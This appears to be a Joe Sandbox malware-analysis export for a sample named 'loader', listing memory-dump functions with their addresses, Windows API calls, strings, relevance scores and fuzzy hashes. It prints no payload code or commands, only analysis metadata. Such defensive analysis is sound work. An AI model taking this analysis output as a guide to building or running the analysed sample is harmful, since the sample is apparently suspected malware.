Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: __fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 1857242416-834177443
Opcode ID: 53ee144ef30fff47929584edeb09fc24df307310f72c36fc8af89c087b322e7c
Instruction ID: ee2dc01262d42d88f0bf44cf71af4f386609695682bf7599b5660dec9268c8d7
Opcode Fuzzy Hash: 53ee144ef30fff47929584edeb09fc24df307310f72c36fc8af89c087b322e7c
Instruction Fuzzy Hash: D921B77284024CAEEF20DEA4DC01FDE7BAAAF05304F040015F911962D2E372D649DF91

Function 0063124F Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 47COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 0063125D

Strings

A, xrefs: 00631285
2d, xrefs: 00631292
(d, xrefs: 006312A3

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: Malloc
String ID: (d$2d$A
API String ID: 2696272793-223122361
Opcode ID: f1865d8c6af75766a0e0f7f721aa94003862d3c920d22afe0d25e8e606251497
Instruction ID: 716e0696d540ff0bc9540622b8572b231c27f2baf1b868b416f059ca6dd86d8b
Opcode Fuzzy Hash: f1865d8c6af75766a0e0f7f721aa94003862d3c920d22afe0d25e8e606251497
Instruction Fuzzy Hash: E10109B1D01229ABCB14CFA4D8449DFBBF9AF09300F10415AE905E7300D775DB40CB94

Function 0064DCDD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 0064DD31
REPLACEFILEDLG, xrefs: 0064DD1C, 0064DD50

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 22f63794b58caedd1bd0647ebed9cc6bf97f1b4694552e5bbf6fa88d90ab5739
Instruction ID: 395d9274c4cbca8af46294ea0e4632e35ed4290dd2d99ac5a6c67f0ff5899a5a
Opcode Fuzzy Hash: 22f63794b58caedd1bd0647ebed9cc6bf97f1b4694552e5bbf6fa88d90ab5739
Instruction Fuzzy Hash: AA017176E44255AFDB158F58FC4899A7FABFB49394B002426F809D3330DA719C90DBA0

Function 00631316 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0063E2E8: _swprintf.LIBCMT ref: 0063E30E
Part of subcall function 0063E2E8: _strlen.LIBCMT ref: 0063E32F
Part of subcall function 0063E2E8: SetDlgItemTextW.USER32(?,0066E274,?), ref: 0063E38F
Part of subcall function 0063E2E8: GetWindowRect.USER32(?,?), ref: 0063E3C9
Part of subcall function 0063E2E8: GetClientRect.USER32(?,?), ref: 0063E3D5

GetDlgItem.USER32(00000000,00003021), ref: 0063135A
SetWindowTextW.USER32(00000000,006635F4), ref: 00631370

Strings

0, xrefs: 00631319
d, xrefs: 0063134A

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: ItemRectTextWindow$Client_strlen_swprintf
String ID: d$0
API String ID: 2622349952-997102099
Opcode ID: 20db5e78375be370b687a3a6310722b7f7e12aa32ccbfd8f42ec714b2ed6b96f
Instruction ID: f98b62a0e179ba0a93ec03262afa6ed9ebb6a888c25415aa8919641070c4049d
Opcode Fuzzy Hash: 20db5e78375be370b687a3a6310722b7f7e12aa32ccbfd8f42ec714b2ed6b96f
Instruction Fuzzy Hash: DFF04F30104298ABEF151F648C0DBEA3F5BAF46344F048119FC4999AA1CB75CA99EB90

Function 00659A1E Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00659AA9
__alldvrm.LIBCMT ref: 00659CAA
__alldvrm.LIBCMT ref: 00659CCC

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 2cd596ac5c756e306358c357791e272077258f0312558ab394eda4628d4e1c95
Instruction ID: b086ea05f95d9d07388d5aa051f5a7b7f3bfc04abbefbf35ca57fb591a950858
Opcode Fuzzy Hash: 2cd596ac5c756e306358c357791e272077258f0312558ab394eda4628d4e1c95
Instruction Fuzzy Hash: ACA12472904786DFEB25CF28C8917AEBBE6EF51311F1841ADEC859B381C2388949C764

Function 0064FD10 Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

_com_issue_error.COMSUPP ref: 0064FE48
_com_issue_error.COMSUPP ref: 0064FE52
_com_issue_error.COMSUPP ref: 0064FE6A
_com_issue_error.COMSUPP ref: 0064FE93

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _com_issue_error
String ID:
API String ID: 2162355165-0
Opcode ID: 7bfafe9ddf4f4534fc7ffb5955bd20e39b69b04226782b1e60ba0e3889266ef8
Instruction ID: 831f7394e532d413b6a875710b266d23e8e162372db0a52f3b52a6f55bb9f4cf
Opcode Fuzzy Hash: 7bfafe9ddf4f4534fc7ffb5955bd20e39b69b04226782b1e60ba0e3889266ef8
Instruction Fuzzy Hash: 7141C771A00219BBDB109F68CC45BAFBBAAEF45711F10423EF915E7391D7749900C7A5

Function 00652AFA Relevance: 6.1, APIs: 4, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00652B16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00652B2F

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: 883b9c7665dad11d30999f4d7b8838f0ad46d3e4405095db36af1c2fcf4bafea
Instruction ID: 56896ab84a88a10697e17b3da3ccda6d59f69fd91130d7441e8a2ce8aa781f0b
Opcode Fuzzy Hash: 883b9c7665dad11d30999f4d7b8838f0ad46d3e4405095db36af1c2fcf4bafea
Instruction Fuzzy Hash: 5A01D83A1083236EA7552E747C959562F67EF12BBBF60173DFD10552E0FF525C089148

Function 0064DC3B Relevance: 6.0, APIs: 4, Instructions: 42windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0064DC61
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0064DC72
TranslateMessage.USER32(?), ref: 0064DC7C
DispatchMessageW.USER32(?), ref: 0064DC86

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: 7942b8d8b8676606da03720fb2e57c787c70c5b846d4ee908aad0d761dba9856
Instruction ID: e8dbd936ed95f7929667f7c34f54d9fe066fa9dd040dc8f674dbc9186c03cea1
Opcode Fuzzy Hash: 7942b8d8b8676606da03720fb2e57c787c70c5b846d4ee908aad0d761dba9856
Instruction Fuzzy Hash: 9FF0EC72A01229BBCB206FA5DD4DDDB7F7EEF42791B004012F50AD2261D675964AC7A0

Function 00641FDD Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00641FE5
_wcslen.LIBCMT ref: 00641FF6
_wcslen.LIBCMT ref: 00642006
_wcslen.LIBCMT ref: 00642014

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: bb2dc3ff197378b2127c352ba583229af0b64438ced83d5025292da9cfcca5d5
Instruction ID: fc37031593e43939704f188bf132c1b2daa717c089168a8fe079198628263b87
Opcode Fuzzy Hash: bb2dc3ff197378b2127c352ba583229af0b64438ced83d5025292da9cfcca5d5
Instruction Fuzzy Hash: 3DF06232408024BBCF221F90EC09D8A7F67DB41B61F21800AF9155B161CB729A65D694

Function 0064A663 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0064A666
GetDeviceCaps.GDI32(00000000,00000058), ref: 0064A675
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0064A683
ReleaseDC.USER32(00000000,00000000), ref: 0064A691

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 82175a8aa3a462ca394c916ef92ab766bcb9f2f3231b18514d87000c9ee29b1e
Instruction ID: 11d55824fa874948a0fcc1196d56eb8123a42d7229bda48248b4def04b20cfc5
Opcode Fuzzy Hash: 82175a8aa3a462ca394c916ef92ab766bcb9f2f3231b18514d87000c9ee29b1e
Instruction Fuzzy Hash: 76E0E631982731BBD3515F706D0DB8B3E5DAB15B52F011102F605A7694DB6449408B95

Function 0064D06A Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 278COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 0064D11B

Strings

dd, xrefs: 0064D3C5
.lnk, xrefs: 0064D2F7, 0064D307

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _wcschr
String ID: .lnk$dd
API String ID: 2691759472-4022110313
Opcode ID: 50a8fa6c07983a4a204ff9161a5f60daa0e3ff7d09a177d0675bfa1b8e1230fc
Instruction ID: e87cc7750f64b064a1c78800994ed7ad5c1e6dda4025bb46fdd97512d6342605
Opcode Fuzzy Hash: 50a8fa6c07983a4a204ff9161a5f60daa0e3ff7d09a177d0675bfa1b8e1230fc
Instruction Fuzzy Hash: 9CA17472D0012996DF24EBA0CD45EFB73FEAF45304F0885A6F609E7141EE749B858B64

Function 0065B1B8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0065B324

Strings

*?, xrefs: 0065B1FB
., xrefs: 0065B4DB

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _free
String ID: *?$.
API String ID: 269201875-3972193922
Opcode ID: 24177f1303fc0c2b907af2c7b7eb43e02322faf7c38b9a999d5b9cde15d1856f
Instruction ID: 6d0ef2c5b705c601f54084472a1bd689a4d3bd71e2527ac5112d729d5dbfd804
Opcode Fuzzy Hash: 24177f1303fc0c2b907af2c7b7eb43e02322faf7c38b9a999d5b9cde15d1856f
Instruction Fuzzy Hash: 5B516F71E0010AEFDF14DFA8C881AFDBBB6EF58315F248169E854E7341E7759A098B60

Function 00639382 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00639387

Part of subcall function 0063C29A: _wcslen.LIBCMT ref: 0063C2A2

_swprintf.LIBCMT ref: 00639465

Part of subcall function 00634092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 006340A5

Strings

rtmp%d, xrefs: 0063944E

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: H_prolog__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 1262143012-3303766350
Opcode ID: 461895aaadfccc53b640ae23cd6622d4852535790a2fffb60b8e885d935603fa
Instruction ID: 78cb745a3d59439401a46d573b214a6d1695405109dd72bc754d6a640da1bcc2
Opcode Fuzzy Hash: 461895aaadfccc53b640ae23cd6622d4852535790a2fffb60b8e885d935603fa
Instruction Fuzzy Hash: 6141B57190026466DF61EBA0CC45EDE737EAF51350F4048A9B649E3152DBB88BC98FB4

Function 0063B37A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 0063B438
_wcschr.LIBVCRUNTIME ref: 0063B478

Strings

*, xrefs: 0063B38A

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _wcschr
String ID: *
API String ID: 2691759472-163128923
Opcode ID: 9148948dd7b76b07cdc0145f3d465fcb46f985a0b70d2517a649dc3793c04321
Instruction ID: 6e858c90af20bc3abebeacdbeb1e8394cace2c8368367d85122b216856ce9c8b
Opcode Fuzzy Hash: 9148948dd7b76b07cdc0145f3d465fcb46f985a0b70d2517a649dc3793c04321
Instruction Fuzzy Hash: E8316832544311AADB30EE1499026FB73E7DFD1B10F14A01EFB845724BE7268D4693EA

